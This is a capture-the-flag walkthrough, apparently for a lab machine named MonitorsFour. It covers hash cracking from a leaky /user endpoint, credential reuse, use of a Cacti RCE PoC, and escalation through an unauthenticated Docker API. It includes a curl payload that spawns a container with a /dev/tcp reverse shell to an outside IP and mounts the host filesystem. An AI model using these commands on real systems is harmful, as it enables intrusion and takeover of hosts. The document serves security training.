MonitorsFour
Tools
- ffuf
- fscan
## Getting User
Nmap
1 | ┌──(kali㉿kali)-[~] |
Foothold
Append vhost to hosts file
1 | ┌──(kali㉿kali)-[~] |
Going through the website, I couldn’t find anything, just a login page with nothing to do with it for now.
Tried fuff to enumerate domains and found /user route
1 | ┌──(kali㉿kali)-[~] |
Visiting http://monitorsfour.htb/user page, I see this
1 | {"error":"Missing token parameter"} |
So I added ?token=0 to the url to add the token parameter and got the following
1 | [ |
I’ll use john the ripper to try to crack the passwords
first, i’m going to create a file with the password list
1 | ┌──(kali㉿kali)-[~] |
then going to use john on the list
1 | ┌──(kali㉿kali)-[~] |
I found one result
1 | ┌──(kali㉿kali)-[~] |
I will compute MD5 of the result to map it and see which user it belongs to. I mapped it admin
1 | ┌──(kali㉿kali)-[~] |
I now have credentials to login
Going through the dashboard, I found that i’m able to create a new user with an admin role and can generate an api that i should treat as “‘password” according to the page.
Found nothing to do with these, so I decided to using ffuf to fuzz directories again using a small different wordlist.
1 | ┌──(kali㉿kali)-[~] |
found .env file that i can download which contains mariadb credentials
1 | DB_HOST=mariadb |
There’s still nothing I can do with all I have, so I enumerated subdomains and found cacti
1 | ┌──(kali㉿kali)-[~] |
Added cacti subdomain to hosts file
1 | ┌──(kali㉿kali)-[~] |
Logging in to Cacti using admin:wonderful1 didn’t work. After trying some usernames based of the user’s information that I have, the username marcus:wonderful1 worked
1 | { |
This cacti is running on version 1.2.28. which has a RCE vulnerability CVE-2025-24367
I used this PoC from github CVE-2025-24367-Cacti-PoC and I was able to get foothold
1 | ┌──(venv)─(kali㉿kali)-[~] |
1 | ┌──(kali㉿kali)-[~] |
And I got the user flag
1 | www-data@821fbd6a43fa:~/html/cacti$ cd /home |
Getting Root
Information Gathering
Since I got the DB credentials earlier, I’m gonna see whats there
1 | www-data@821fbd6a43fa:/home/marcus$ mysql -h mariadb -u monitorsdbuser -p monitorsfour_db |
Nothing useful there.
I found the Cacti DB credentials in cacti/include/config.php
1 | $database_default = 'cacti'; |
Connected to the DB and found nothing useful.
It looks like i’m in a docker containers
1 | cat /proc/version |
Host IP is 192.168.65.7
1 | www-data@821fbd6a43fa:/$ ip route |
I uploaded and ran fscan in the container and found out we have access to the docker API
1 | www-data@821fbd6a43fa:/tmp$ ./fscan -h 192.168.65.7 |
It seems I can use poc-yaml-docker-api-unauthorized-rce.
Privilege Escalation
I see that first I need to get any available docker image. doing curl http://192.168.65.7:2375/images/json i identify docker_setup-nginx-php:latest
Now I need to craft a payload to send to /containers/create.
1 | curl -X POST http://192.168.65.7:2375/containers/create \-H "Content-Type: application/json" \-d '{ "Image": "docker_setup-nginx-php:latest", "Cmd": ["/bin/bash", "-c", "exec bash -i &>/dev/tcp/10.10.14.88/6666 <&1"], "HostConfig": { "Binds": ["/mnt/host/c:/host_root"] } }' |
after running that, I got the response with the Id of the new container which we need to run.
first, I start listening to port 6666 nc -lnvp 6666, then use curl to run the container
1 | curl -X POST http://192.168.65.7:2375/containers/4802f7244b0bd11f08576abf88d73812c0e17e6d3dd1941adcb6db37974cbfa3/start |
I can now get root.txt flag
1 | ┌──(kali㉿kali)-[~] |